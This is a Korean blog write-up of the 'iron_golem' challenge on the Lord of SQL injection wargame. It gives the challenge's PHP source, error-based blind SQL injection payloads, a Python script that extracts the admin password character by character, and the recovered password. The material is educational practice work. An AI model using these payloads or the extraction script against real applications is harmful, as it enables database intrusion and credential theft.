문제 21번 - iron_golem
query : select id from prob_iron_golem where id='admin' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
?>
일단 다른 문제들과 마찬가지로 php 코드가 주어져있다.
먼저 필터링 함수를 확인하면 prob와 _ , . , (), sleep, benchmark를 필터링하고 추가로 i를 통해 대소문자를 구별하지 않는 것을 알 수 있다. 다른 문제들과 다른점은 sleep와 benchmark를 필터링한다는 것인데 이것은 blind sql injection 중 time based sql injection을 이용하지 못하게 막아놓은 것 같다.
<?php
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
?>
clear 조건을 확인하기 위해 조건문 코드를 확인해보니 pw가 필요하다는 것을 알 수 있다. pw의 크기를 찾고 pw를 찾는 파이썬 코드를 제작해야겠다.
<?php
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
?>
밑에 코드를 확인해보니 만약 에러가 발생하면 에러를 반환하게 하는 코드가 있는 것을 확인할 수 있는데 이것을 이용해서 pw를 찾는 것 같다.(error based sql injection 이용)
<?php
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
?>
error based sql injection에는 다양한 방법이 있지만 union select 에러를 이용했다.
pw의 크기를 알아내기 위해 pw=' or id='admin' and if(length(pw)=숫자,(select 1 union select 2),1)%23을 입력했다.
그 중 숫자에 32를 입력하니 if가 참이되고 에러값을 반환했다. (에러반환 값이 Subqeury returns more than 1 row라는 것을 알아냄)
---> pw=' or id='admin' and if(length(pw)=32,(select 1 union select 2),1)%23
이후 파이썬 코드를 작성해보았다. 에러가 반환되지 않을 때 해당 값이 pw값이라는 것을 이용(위에 조건문이랑 반환값이 다름!!)
import requests
url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?"
cookie = dict(PHPSESSID="쿠키값")
result=""
for i in range(1,33):
for j in range(33, 127):
query = "pw=' or if(ord(substr(pw,{},1))={},1,(select 1 union select 2))%23".format(i,j)
URL = url+query
res = requests.get(URL, cookies=cookie)
if res.text.find("Subquery returns more than 1 row")<0:
result += chr(j)
print(chr(j))
break
print("pw :"+result)
위 코드를 실행 시키니 아래 결과가 나왔다.
즉 pw가 06b5a6c16e8830475f983cc3a825ee9a라는 것을 알게 되었다.
따라서 pw=06b5a6c16e8830475f983cc3a825ee9a를 입력한다.
solve
https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=06b5a6c16e8830475f983cc3a825ee9a
'write-up > LOS write-up' 카테고리의 다른 글
LOS (Lord of SQL injection) 문제 23번 hell_fire write-up (0) | 2021.07.12 |
---|---|
LOS (Lord of SQL injection) 문제 22번 dark_eyes write-up (0) | 2021.07.12 |
LOS (Lord of SQL injection) 문제 20번 dragon write-up (0) | 2021.07.10 |
LOS (Lord of SQL injection) 문제 19번 xavi write-up (0) | 2021.07.10 |
LOS (Lord of SQL injection) 문제 18번 nightmare write-up (0) | 2021.07.10 |